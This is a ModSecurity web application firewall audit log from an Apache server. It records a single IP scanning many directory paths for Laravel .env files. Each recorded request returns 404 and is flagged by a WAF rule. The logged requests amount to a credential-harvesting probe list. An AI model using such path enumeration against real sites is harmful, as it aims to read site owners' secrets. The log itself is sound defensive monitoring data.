Stopwatch2: 1789266821952642 118130; combined=4718, p1=256, p2=4384, p3=0, p4=0, p5=77, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c2335d71-Z--

--7d8bf247-A--
[13/Sep/2026:05:33:43.745555 +0300] aqYLh2M7dE9KgIIOpQhdjAAAANI 34.175.231.24 58860 127.0.0.1 7081
--7d8bf247-B--
GET /frontend/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--7d8bf247-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7d8bf247-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/frontend/.env"] [unique_id "aqYLh2M7dE9KgIIOpQhdjAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266823602822 142827 (- - -)
Stopwatch2: 1789266823602822 142827; combined=8939, p1=2873, p2=5991, p3=0, p4=0, p5=74, sr=1489, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d8bf247-Z--

--49cd2276-A--
[13/Sep/2026:05:33:45.243698 +0300] aqYLiWM7dE9KgIIOpQhdjQAAAM0 34.175.231.24 58868 127.0.0.1 7081
--49cd2276-B--
GET /src/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--49cd2276-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--49cd2276-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/src/.env"] [unique_id "aqYLiWM7dE9KgIIOpQhdjQAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266825128436 115386 (- - -)
Stopwatch2: 1789266825128436 115386; combined=4726, p1=331, p2=4252, p3=0, p4=0, p5=142, sr=174, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49cd2276-Z--

--2f35590a-A--
[13/Sep/2026:05:33:46.718800 +0300] aqYLimM7dE9KgIIOpQhdjgAAANQ 34.175.231.24 50258 127.0.0.1 7081
--2f35590a-B--
GET /core/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--2f35590a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2f35590a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/core/.env"] [unique_id "aqYLimM7dE9KgIIOpQhdjgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266826601208 117661 (- - -)
Stopwatch2: 1789266826601208 117661; combined=4754, p1=270, p2=4403, p3=0, p4=0, p5=81, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2f35590a-Z--

--b8bf7125-A--
[13/Sep/2026:05:33:48.259275 +0300] aqYLjEwu1RSkptiiNIXtlAAAAIs 34.175.231.24 50274 127.0.0.1 7081
--b8bf7125-B--
GET /core/app/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b8bf7125-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b8bf7125-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/core/app/.env"] [unique_id "aqYLjEwu1RSkptiiNIXtlAAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266828135991 123346 (- - -)
Stopwatch2: 1789266828135991 123346; combined=6245, p1=1660, p2=4528, p3=0, p4=0, p5=57, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b8bf7125-Z--

--0b7db76f-A--
[13/Sep/2026:05:33:49.484989 +0300] aqYLjWM7dE9KgIIOpQhdjwAAAMk 34.175.231.24 50280 127.0.0.1 7081
--0b7db76f-B--
GET /config/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0b7db76f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0b7db76f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/config/.env"] [unique_id "aqYLjWM7dE9KgIIOpQhdjwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266829372356 112689 (- - -)
Stopwatch2: 1789266829372356 112689; combined=4175, p1=233, p2=3881, p3=0, p4=0, p5=61, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b7db76f-Z--

--7b035126-A--
[13/Sep/2026:05:33:50.917730 +0300] aqYLjmM7dE9KgIIOpQhdkAAAANA 34.175.231.24 50296 127.0.0.1 7081
--7b035126-B--
GET /private/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--7b035126-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7b035126-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/private/.env"] [unique_id "aqYLjmM7dE9KgIIOpQhdkAAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266830793341 124453 (- - -)
Stopwatch2: 1789266830793341 124453; combined=4655, p1=334, p2=4266, p3=0, p4=0, p5=54, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7b035126-Z--

--d23aed6b-A--
[13/Sep/2026:05:33:52.214909 +0300] aqYLkEwu1RSkptiiNIXtlQAAAJU 34.175.231.24 50326 127.0.0.1 7081
--d23aed6b-B--
GET /application/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d23aed6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d23aed6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/application/.env"] [unique_id "aqYLkEwu1RSkptiiNIXtlQAAAJU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266832094858 120116 (- - -)
Stopwatch2: 1789266832094858 120116; combined=6492, p1=1968, p2=4471, p3=0, p4=0, p5=53, sr=154, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d23aed6b-Z--

--7d8ae12d-A--
[13/Sep/2026:05:33:54.005004 +0300] aqYLkTTJ6xTvcJoem7f1dwAAAFc 34.175.231.24 50334 127.0.0.1 7081
--7d8ae12d-B--
GET /bootstrap/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--7d8ae12d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7d8ae12d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/bootstrap/.env"] [unique_id "aqYLkTTJ6xTvcJoem7f1dwAAAFc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266833892402 112665 (- - -)
Stopwatch2: 1789266833892402 112665; combined=4593, p1=255, p2=4285, p3=0, p4=0, p5=53, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d8ae12d-Z--

--0db0142f-A--
[13/Sep/2026:05:33:55.454085 +0300] aqYLk2M7dE9KgIIOpQhdkwAAANM 34.175.231.24 50346 127.0.0.1 7081
--0db0142f-B--
GET /database/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0db0142f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0db0142f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/database/.env"] [unique_id "aqYLk2M7dE9KgIIOpQhdkwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266835313045 141098 (- - -)
Stopwatch2: 1789266835313045 141098; combined=4211, p1=249, p2=3905, p3=0, p4=0, p5=57, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0db0142f-Z--

--9e9f3613-A--
[13/Sep/2026:05:33:56.731666 +0300] aqYLlGM7dE9KgIIOpQhdlAAAANY 34.175.231.24 35258 127.0.0.1 7081
--9e9f3613-B--
GET /storage/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--9e9f3613-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9e9f3613-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/storage/.env"] [unique_id "aqYLlGM7dE9KgIIOpQhdlAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266836606052 125741 (- - -)
Stopwatch2: 1789266836606052 125741; combined=4902, p1=298, p2=4526, p3=0, p4=0, p5=78, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9e9f3613-Z--

--58cc5a61-A--
[13/Sep/2026:05:33:58.056458 +0300] aqYLlWM7dE9KgIIOpQhdlQAAAMY 34.175.231.24 35274 127.0.0.1 7081
--58cc5a61-B--
GET /var/www/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--58cc5a61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--58cc5a61-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/var/www/.env"] [unique_id "aqYLlWM7dE9KgIIOpQhdlQAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266837934697 121817 (- - -)
Stopwatch2: 1789266837934697 121817; combined=4200, p1=312, p2=3837, p3=0, p4=0, p5=51, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--58cc5a61-Z--

--437be303-A--
[13/Sep/2026:05:33:58.838600 +0300] aqYLlmM7dE9KgIIOpQhdlgAAAMs 34.175.231.24 35284 127.0.0.1 7081
--437be303-B--
GET /var/www/html/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--437be303-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--437be303-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/var/www/html/.env"] [unique_id "aqYLlmM7dE9KgIIOpQhdlgAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266838701185 137507 (- - -)
Stopwatch2: 1789266838701185 137507; combined=4345, p1=227, p2=3996, p3=0, p4=0, p5=122, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--437be303-Z--

--7d8ae12d-A--
[13/Sep/2026:05:34:00.090956 +0300] aqYLl0wu1RSkptiiNIXtlgAAAJI 34.175.231.24 35300 127.0.0.1 7081
--7d8ae12d-B--
GET /current/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--7d8ae12d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7d8ae12d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/current/.env"] [unique_id "aqYLl0wu1RSkptiiNIXtlgAAAJI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266839976006 115040 (- - -)
Stopwatch2: 1789266839976006 115040; combined=4718, p1=768, p2=3880, p3=0, p4=0, p5=69, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d8ae12d-Z--

--bbc6ce79-A--
[13/Sep/2026:05:34:01.653030 +0300] aqYLmWM7dE9KgIIOpQhdlwAAAMc 34.175.231.24 35302 127.0.0.1 7081
--bbc6ce79-B--
GET /release/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
